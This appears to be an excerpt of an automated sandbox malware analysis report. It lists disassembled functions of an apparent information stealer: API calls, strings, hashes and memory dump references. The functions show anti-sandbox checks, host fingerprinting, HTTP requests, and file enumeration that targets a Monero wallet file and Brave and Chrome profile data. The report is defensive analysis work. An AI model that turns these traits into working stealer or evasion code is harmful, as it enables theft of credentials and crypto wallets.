Part of subcall function 009F6770: GetUserDefaultLangID.KERNEL32 ref: 009F6774

Part of subcall function 009E1190: ExitProcess.KERNEL32 ref: 009E11C6

Part of subcall function 009F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009E11B7), ref: 009F7880
Part of subcall function 009F7850: RtlAllocateHeap.NTDLL(00000000), ref: 009F7887
Part of subcall function 009F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 009F789F

Part of subcall function 009F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F7910
Part of subcall function 009F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 009F7917
Part of subcall function 009F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 009F792F

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013B89B0,?,00A0110C,?,00000000,?,00A01110,?,00000000,00A00AEF), ref: 009F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 009F6AE8
CloseHandle.KERNEL32(00000000), ref: 009F6AF9
Sleep.KERNEL32(00001770), ref: 009F6B04
CloseHandle.KERNEL32(?,00000000,?,013B89B0,?,00A0110C,?,00000000,?,00A01110,?,00000000,00A00AEF), ref: 009F6B1A
ExitProcess.KERNEL32 ref: 009F6B22

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 9da20c16bd431dd22bed16d5adf90c77b043a3d62d08e1d8d1cc846069d1fbe2
Instruction ID: 52ad0f4bb50729d3fff418598f83691e4b30773bc72084d5a7c13bc5cb818da8
Opcode Fuzzy Hash: 9da20c16bd431dd22bed16d5adf90c77b043a3d62d08e1d8d1cc846069d1fbe2
Instruction Fuzzy Hash: 6B31EAB191420CABDB05FBE0DC56BFE7778AF84780F104528F316A6191DFB06A45C7A6

Function 009E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 009E123E
__aulldiv.LIBCMT ref: 009E1258
__aulldiv.LIBCMT ref: 009E1266
ExitProcess.KERNEL32 ref: 009E1294

Strings

@, xrefs: 009E1233

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 3383881169e13fca5fb157edf941ac4d788c1dfb04fd1681badbc5b294e8cb4d
Instruction ID: 0c4b3d83ea305ee8622678ca0b69b556e74d070f0b6e8b090246ffd719cf7325
Opcode Fuzzy Hash: 3383881169e13fca5fb157edf941ac4d788c1dfb04fd1681badbc5b294e8cb4d
Instruction Fuzzy Hash: 30011DB0D44348BBEF10EBE5CC49BAEBB78AB54705F208049E705B62C0D7B49A45CB99

Function 009F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013B89B0,?,00A0110C,?,00000000,?,00A01110,?,00000000,00A00AEF), ref: 009F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 009F6AE8
CloseHandle.KERNEL32(00000000), ref: 009F6AF9
Sleep.KERNEL32(00001770), ref: 009F6B04
CloseHandle.KERNEL32(?,00000000,?,013B89B0,?,00A0110C,?,00000000,?,00A01110,?,00000000,00A00AEF), ref: 009F6B1A
ExitProcess.KERNEL32 ref: 009F6B22

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: c475010d006219858d8492eb4ab5cf8ceca2586d937adf87ad06015148d0c4e0
Instruction ID: cde0cce8bd0de6c15701e607e3e1cc61605bca10fbcd0ea7e538630517946a8d
Opcode Fuzzy Hash: c475010d006219858d8492eb4ab5cf8ceca2586d937adf87ad06015148d0c4e0
Instruction Fuzzy Hash: C0F05870A5430DABE720ABA0DC0ABBE7B38EF48B02F104914F703E15D1CBB09541DBA6

Function 009E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 009E4849

Strings

<, xrefs: 009E47C9

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 422bd0c6db82e2cdb8237d8b6c960365cc916830b64e0b7efd04ecc0deeee09d
Instruction ID: b8dbfbf189e6e6469acb50d71290cf34cec7b6882b0db980230aac9929f86cd6
Opcode Fuzzy Hash: 422bd0c6db82e2cdb8237d8b6c960365cc916830b64e0b7efd04ecc0deeee09d
Instruction Fuzzy Hash: 71213EB1D00209ABDF14DFA5EC45BDE7B75FB44320F108625FA15A7291EB706A0ACB91

Function 009F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E6280: InternetOpenA.WININET(00A00DFE,00000001,00000000,00000000,00000000), ref: 009E62E1
Part of subcall function 009E6280: StrCmpCA.SHLWAPI(?,013BE3C0), ref: 009E6303
Part of subcall function 009E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009E6335
Part of subcall function 009E6280: HttpOpenRequestA.WININET(00000000,GET,?,013BDC98,00000000,00000000,00400100,00000000), ref: 009E6385
Part of subcall function 009E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009E63BF
Part of subcall function 009E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009F5228

Strings

ERROR, xrefs: 009F521A
ERROR, xrefs: 009F5273

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 794428de3d9ee012958c0f150fbc3e9d0aeda0fafeb18bcc85cd5825bb8a1d15
Instruction ID: 363a4db6b4f7062b2289bc02c27438c6d85efa1cef3fe5ff54a726bfcd56f265
Opcode Fuzzy Hash: 794428de3d9ee012958c0f150fbc3e9d0aeda0fafeb18bcc85cd5825bb8a1d15
Instruction Fuzzy Hash: BF110AB091014CABCB14FF60DD52BFD7338AF90340F508558FA1A4A5A2EF74AB0AC791

Function 009E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 009E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 009E1132
ExitProcess.KERNEL32 ref: 009E1143

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: ed458dbef2709be73005bb90b4d5b6ed61d33c89d2075e6361a4d4f831fdaa5e
Instruction ID: c83e190d55bde947702d3bc93f117f9c85f4122543b816bab4e70bc57434fbf9
Opcode Fuzzy Hash: ed458dbef2709be73005bb90b4d5b6ed61d33c89d2075e6361a4d4f831fdaa5e
Instruction Fuzzy Hash: 62E01D7095534CFFE7306BA1DC0EB0D767CEB04B02F104054F709B65D0D6B52A41969D

Function 009E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 009E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 009E10F7

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 538ee9a9e1b93467fd086162168974ecb946c0ce97a116c39bf52f7e944949f7
Instruction ID: d9d029bfcd1f70d854a32533cb4a9a7970c5f88b11fd5e29af274843d9bb5403
Opcode Fuzzy Hash: 538ee9a9e1b93467fd086162168974ecb946c0ce97a116c39bf52f7e944949f7
Instruction Fuzzy Hash: 54F0E271641208BBEB149AA4AC49FBFB7ECE705B15F300848F604E3280D5719E40CAA4

Function 009E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F7910
Part of subcall function 009F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 009F7917
Part of subcall function 009F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 009F792F

Part of subcall function 009F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009E11B7), ref: 009F7880
Part of subcall function 009F7850: RtlAllocateHeap.NTDLL(00000000), ref: 009F7887
Part of subcall function 009F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 009F789F

ExitProcess.KERNEL32 ref: 009E11C6

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 6baf08cce773b162fa8e9da7c6fdaeb18cb9cf3fe78167d368dd913b4e5f9141
Instruction ID: f8ae2a2d02670dd1ac06e106dfa4eec5d95c4fee3fedbc1a15418ed1a765b862
Opcode Fuzzy Hash: 6baf08cce773b162fa8e9da7c6fdaeb18cb9cf3fe78167d368dd913b4e5f9141
Instruction Fuzzy Hash: D9E012B592430957CE1477F5AC4AB3F329C9B54785F080424FB05D2602FA25E811876A

Non-executed Functions

Function 009F38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009F38CC
FindFirstFileA.KERNEL32(?,?), ref: 009F38E3
lstrcat.KERNEL32(?,?), ref: 009F3935
StrCmpCA.SHLWAPI(?,00A00F70), ref: 009F3947
StrCmpCA.SHLWAPI(?,00A00F74), ref: 009F395D
FindNextFileA.KERNEL32(000000FF,?), ref: 009F3C67
FindClose.KERNEL32(000000FF), ref: 009F3C7C

Strings

%s\%s, xrefs: 009F397A
%s%s, xrefs: 009F3AAD
%s\%s\%s, xrefs: 009F3A4A
%s\*, xrefs: 009F38C0
%s\%s, xrefs: 009F3A6F

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 0dc930088f27e91d2c22c32c6a19ec0e1776b23e34f7590312516d2c262e2226
Instruction ID: 51aec2a465d050d3686c595261778b9b5bf63aaa2b31873b4b724ac97c91f4fa
Opcode Fuzzy Hash: 0dc930088f27e91d2c22c32c6a19ec0e1776b23e34f7590312516d2c262e2226
Instruction Fuzzy Hash: 4CA130B191020CABDB34EB64DC85FFE7378BB88700F048588B60D96581EB759B85CF62

Function 009EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

FindFirstFileA.KERNEL32(00000000,?,00A00B32,00A00B2B,00000000,?,?,?,00A013F4,00A00B2A), ref: 009EBEF5
StrCmpCA.SHLWAPI(?,00A013F8), ref: 009EBF4D
StrCmpCA.SHLWAPI(?,00A013FC), ref: 009EBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 009EC7BF
FindClose.KERNEL32(000000FF), ref: 009EC7D1

Strings

Google Chrome, xrefs: 009EC634
Brave, xrefs: 009EC102
Preferences, xrefs: 009EC11E
\Brave\Preferences, xrefs: 009EC1DB

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b0d7de9c3eb3a7730e22ee3d28102c7f629f65bcf3135c291d7379d4b65fef89
